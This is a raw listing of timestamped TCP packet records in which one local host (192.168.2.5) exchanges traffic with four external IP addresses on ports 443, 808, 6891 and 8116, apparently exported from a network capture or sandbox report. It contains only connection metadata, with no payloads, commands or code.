Oct 28, 2021 04:50:54.698976040 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:54.699004889 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:54.699304104 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:54.699369907 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:54.704368114 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:54.704484940 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:54.704530954 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:55.400660992 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:55.400758982 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:55.400779963 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:55.400801897 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:55.400839090 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:55.400867939 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:55.420069933 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:55.420104980 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:55.583523035 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:55.742544889 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:55.742635965 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:55.743609905 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:55.902653933 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:55.904530048 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:55.904598951 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:58.124793053 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:58.284044981 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:58.284946918 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:58.285027981 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:58.285758018 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:58.285861015 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:58.447355032 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:58.447385073 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:58.447402000 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:58.826340914 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:58.826365948 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:58.826469898 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:58.826508045 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:58.836498022 CEST	49749	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:50:58.995783091 CEST	808	49749	143.244.140.214	192.168.2.5
Oct 28, 2021 04:50:59.050050020 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:59.050092936 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:59.050178051 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:59.057816029 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:50:59.088453054 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:59.088469028 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:59.223125935 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:50:59.223294973 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:50:59.224311113 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:50:59.389524937 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:50:59.391211987 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:50:59.391293049 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:50:59.405404091 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:50:59.570940018 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:50:59.571019888 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:50:59.571580887 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:50:59.571760893 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:50:59.583471060 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:59.583657026 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:59.736922979 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:50:59.736958027 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:50:59.736978054 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:50:59.841114998 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:59.841133118 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:59.841514111 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:59.841562986 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:59.867501020 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:59.867614031 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:59.867650032 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:00.120742083 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:00.120780945 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:00.120882988 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:00.120935917 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:00.256504059 CEST	49754	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:00.402481079 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.421737909 CEST	6891	49754	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:00.455048084 CEST	8116	49757	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:00.455142975 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.457473993 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.510821104 CEST	8116	49757	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:00.518872023 CEST	8116	49757	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:00.518901110 CEST	8116	49757	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:00.518953085 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.518976927 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.525098085 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.561952114 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:00.562041044 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:00.562055111 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:00.562076092 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:00.562103987 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:00.562143087 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:00.580276966 CEST	8116	49757	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:00.580378056 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.632910013 CEST	49753	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:00.632945061 CEST	443	49753	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:00.635210037 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.635369062 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.687875032 CEST	8116	49757	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:00.774019003 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:00.871790886 CEST	8116	49757	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:00.871860027 CEST	8116	49757	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:00.871942043 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.871994019 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.878562927 CEST	49757	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:00.931185961 CEST	8116	49757	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:00.938558102 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:00.938656092 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:00.941389084 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:00.998826027 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:00.998878956 CEST	443	49759	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:00.998964071 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:01.000102043 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:01.000119925 CEST	443	49759	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:01.105984926 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:01.107881069 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:01.107979059 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:01.515475988 CEST	443	49759	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:01.515639067 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:01.682410002 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:01.682426929 CEST	443	49759	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:01.691565037 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:01.691579103 CEST	443	49759	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:01.691732883 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:01.691744089 CEST	443	49759	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:01.851809025 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:02.016635895 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:02.016891956 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:02.016998053 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:02.022576094 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:02.022654057 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:02.187207937 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:02.187232018 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:02.187238932 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:02.187247038 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:02.402765036 CEST	443	49759	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:02.402849913 CEST	443	49759	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:02.402960062 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:02.402981997 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:02.565403938 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:02.565438986 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:02.565584898 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:02.565622091 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:02.575170040 CEST	49759	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:02.575208902 CEST	443	49759	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:02.597208977 CEST	49758	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:02.761837006 CEST	808	49758	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:02.866168022 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:02.872220039 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.028561115 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.028660059 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:03.029949903 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:03.040524006 CEST	6891	49761	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:03.040663958 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.049828053 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.192281008 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.192336082 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.192466974 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:03.196707964 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:03.202332973 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:03.202426910 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:03.216301918 CEST	6891	49761	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:03.217298031 CEST	6891	49761	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:03.217422009 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.243808031 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.359534025 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.367264986 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.367290974 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.367300034 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.367314100 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.411274910 CEST	6891	49761	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:03.411441088 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.412287951 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.412441015 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.578695059 CEST	6891	49761	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:03.578733921 CEST	6891	49761	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:03.743140936 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.743170977 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.743271112 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:03.743345976 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:03.749885082 CEST	49760	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:03.912123919 CEST	808	49760	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:03.913105965 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.964076042 CEST	6891	49761	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:03.964107990 CEST	6891	49761	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:03.964169025 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.964196920 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:03.966321945 CEST	49761	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:04.079488993 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.079619884 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:04.081352949 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:04.096151114 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.132623911 CEST	6891	49761	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.153389931 CEST	8116	49763	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:04.153517008 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.154763937 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.211833000 CEST	8116	49763	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:04.221868038 CEST	8116	49763	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:04.221904039 CEST	8116	49763	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:04.222038984 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.230235100 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.247695923 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.247730970 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.248126984 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:04.249517918 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:04.288204908 CEST	8116	49763	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:04.288444042 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.289191961 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.289294004 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.339394093 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:04.339498997 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:04.346393108 CEST	8116	49763	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:04.454143047 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.507519007 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.507553101 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.507560015 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.520370007 CEST	8116	49763	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:04.520390034 CEST	8116	49763	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:04.520545959 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.522723913 CEST	49763	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:04.580480099 CEST	8116	49763	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:04.689858913 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:04.689907074 CEST	443	49764	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:04.690009117 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:04.690758944 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:04.690768003 CEST	443	49764	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:04.895324945 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.895359993 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:04.895445108 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:04.895478964 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:04.904906034 CEST	49762	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:05.023633003 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.071265936 CEST	6891	49762	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:05.076690912 CEST	8116	49765	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:05.076880932 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.077603102 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.129812956 CEST	8116	49765	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:05.129874945 CEST	8116	49765	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:05.130007982 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.130424023 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.134495020 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.134588003 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.185704947 CEST	443	49764	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.185874939 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.186606884 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.186625004 CEST	443	49764	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.186676025 CEST	8116	49765	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:05.192977905 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.193000078 CEST	443	49764	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.193155050 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.193169117 CEST	443	49764	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.370162010 CEST	8116	49765	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:05.370183945 CEST	8116	49765	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:05.370273113 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.370326996 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.376604080 CEST	49765	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:05.428900957 CEST	8116	49765	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:05.490675926 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.490741968 CEST	443	49766	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.490871906 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.491452932 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.491473913 CEST	443	49766	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.887840986 CEST	443	49764	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.887922049 CEST	443	49764	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.887964010 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.887998104 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.891467094 CEST	49764	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.891489983 CEST	443	49764	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.986274004 CEST	443	49766	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.986385107 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.987191916 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.987207890 CEST	443	49766	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.991810083 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.991835117 CEST	443	49766	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:05.991918087 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:05.991929054 CEST	443	49766	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:06.051732063 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.215138912 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.215307951 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.216556072 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.379328012 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.379393101 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.379492044 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.379928112 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.383943081 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.384066105 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.542653084 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.546730042 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.546761990 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.546773911 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.546791077 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.683422089 CEST	443	49766	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:06.683510065 CEST	443	49766	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:06.683582067 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:06.683612108 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:06.692976952 CEST	49766	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:06.693021059 CEST	443	49766	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:06.822705030 CEST	49768	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.938663960 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.938687086 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.938743114 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.938781023 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.941323042 CEST	49767	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.982130051 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:06.982451916 CEST	49768	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:06.984154940 CEST	49768	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:07.074670076 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.104197025 CEST	808	49767	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.143620014 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.143738985 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.143816948 CEST	49768	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:07.144465923 CEST	49768	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:07.149883986 CEST	49768	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:07.149996042 CEST	49768	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:07.240993977 CEST	6891	49769	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:07.241106987 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.241751909 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.303936005 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.309329987 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.309365034 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.309386015 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.309406042 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.408142090 CEST	6891	49769	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:07.408180952 CEST	6891	49769	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:07.408257961 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.409055948 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.413521051 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.413645029 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.579914093 CEST	6891	49769	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:07.579940081 CEST	6891	49769	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:07.579950094 CEST	6891	49769	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:07.697741985 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.697786093 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.697885036 CEST	49768	808	192.168.2.5	143.244.140.214
